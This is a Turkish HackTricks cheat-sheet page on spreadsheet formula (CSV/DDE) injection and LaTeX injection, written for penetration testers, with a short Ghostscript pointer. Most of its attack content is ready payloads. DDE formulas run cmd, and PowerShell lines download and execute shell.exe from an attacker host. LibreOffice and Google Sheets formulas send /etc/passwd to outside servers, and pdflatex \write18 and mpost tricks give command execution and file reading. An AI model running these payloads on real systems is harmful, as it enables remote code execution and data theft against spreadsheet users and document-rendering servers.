# Formül Enjeksiyonu
AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu * **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Güvenlik Grubu**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Formül Enjeksiyonu ### Bilgi Eğer **girdiniz** **CSV dosyaları** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya içinde), Excel **formülleri** ekleyebilirsiniz ve bu formüller dosya **açıldığında** veya kullanıcı **Excel tablosu içindeki bir bağlantıya tıkladığında** **çalıştırılabilir** olabilir. {% hint style="danger" %} Günümüzde **Excel**, kullanıcının **kötü niyetli eylemlerden kaçınması** için dışarıdan Excel'e yüklenen şeylerde **kullanıcıya birkaç kez uyarı verecektir**. Bu nedenle, son yükte **Sosyal Mühendislik** için özel çaba gösterilmelidir. {% endhint %} ### [Kelime Listesi](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Hyperlink **Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve keyfi konumlara istekler yapmak için çok yararlıdır. Ancak, kullanıcının bağlantıya tıklaması ve uyarıları kabul etmesi gerekmektedir.** Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır. Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın asıl amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın kötü niyetli bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için tasarlanmış alanlara zararlı formüller girmesini sağlar. Saldırı şu şekilde gerçekleşir: 1. **Kötü Niyetli Yük Enjeksiyonu:** * Saldırgan bir öğrenci detay formu gönderir ancak elektronik tablolarda yaygın olarak kullanılan bir formülü içerir (örneğin, `=HYPERLINK("","Buraya tıklayın")`). * Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırganın kontrol ettiği kötü niyetli bir sunucuya işaret eder. 2. **Tehdit Edilen Verilerin Dışa Aktarılması:** * Kompromis farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır. * Açıldığında CSV dosyası hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür. 3. **Saldırının Tetiklenmesi:** * Bir öğretmen, bağlantıya tıklayarak, bunun öğrenci detaylarının meşru bir parçası olduğuna inanır. * Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından detaylar içerebilir) saldırganın sunucusuna iletilir. 4. **Verilerin Kaydedilmesi:** * Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder. * Saldırgan daha sonra bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atabilir. ### RCE **Daha fazla ayrıntı için** [**orijinal yazıya**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **bakın.** Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutları yürütmek için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir: * Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Dış İçerik'e gidin ve **Dinamik Veri Değişimi Sunucusu Başlatma**'yı etkinleştirin. Kötü niyetli yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için yük şu şekilde olacaktır: ```markdown `=cmd|' /C calc'!xxx` ``` Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosyanın indirilip yürütülmesi: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### LibreOffice Calc'ta Yerel Dosya Dahil Etme (LFI) LibreOffice Calc, yerel dosyaları okumak ve veri dışa aktarmak için kullanılabilir. İşte bazı yöntemler: * Yerel `/etc/passwd` dosyasından ilk satırı okuma: `='file:///etc/passwd'#$passwd.A1` * Okunan verileri saldırganın kontrolündeki sunucuya dışa aktarma: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` * Birden fazla satırı dışa aktarma: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * DNS dışa aktarma (okunan verileri saldırganın kontrolündeki DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Out-of-Band (OOB) Veri Dışa Aktarma için Google Sheets Google Sheets, OOB veri dışa aktarma için sömürülebilecek fonksiyonlar sunar: * **CONCATENATE**: Dizeleri birleştirir - `=CONCATENATE(A2:E2)` * **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` * **IMPORTFEED**: RSS veya ATOM beslemelerini içe aktarır - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` * **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` * **IMPORTRANGE**: Başka bir elektronik tablodan hücre aralığını içe aktarır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` * **IMAGE**: Bir hücreye bir resim ekler - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Enjeksiyonu Genellikle **LaTeX kodunu PDF'ye dönüştüren internet sunucuları** genellikle **`pdflatex`** kullanır.\ Bu program, komut yürütme işlemine (izin verme) veya (yasaklama) yapmak için 3 ana özelliği kullanır: * **`--no-shell-escape`**: `\write18{command}` yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile. * **`--shell-restricted`**: `--shell-escape` ile aynıdır, ancak önceden tanımlanmış bir 'güvenli' set komutlarla **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir). * **`--shell-escape`**: `\write18{command}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır. Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle Uzaktan Kod Yürütme'yi önlemek için `--shell-restricted` kullanmak çok önemlidir. ### Dosya Okuma Enjeksiyonu ayarlamak için sargıları \[ veya $ gibi düzenlemeniz gerekebilir. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### Tek satırlı dosya okuma ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Birden fazla satırlı dosya okuma ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Dosya yaz ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Komut yürütme Komutun girdisi stdin'e yönlendirilecek, bunu almak için geçici bir dosya kullanın. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan elde etmek için base64 kullanmayı düşünebilirsiniz. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Cross Site Scripting [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) tarafından. ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript Enjeksiyonu **Kontrol Edin** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## Referanslar * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.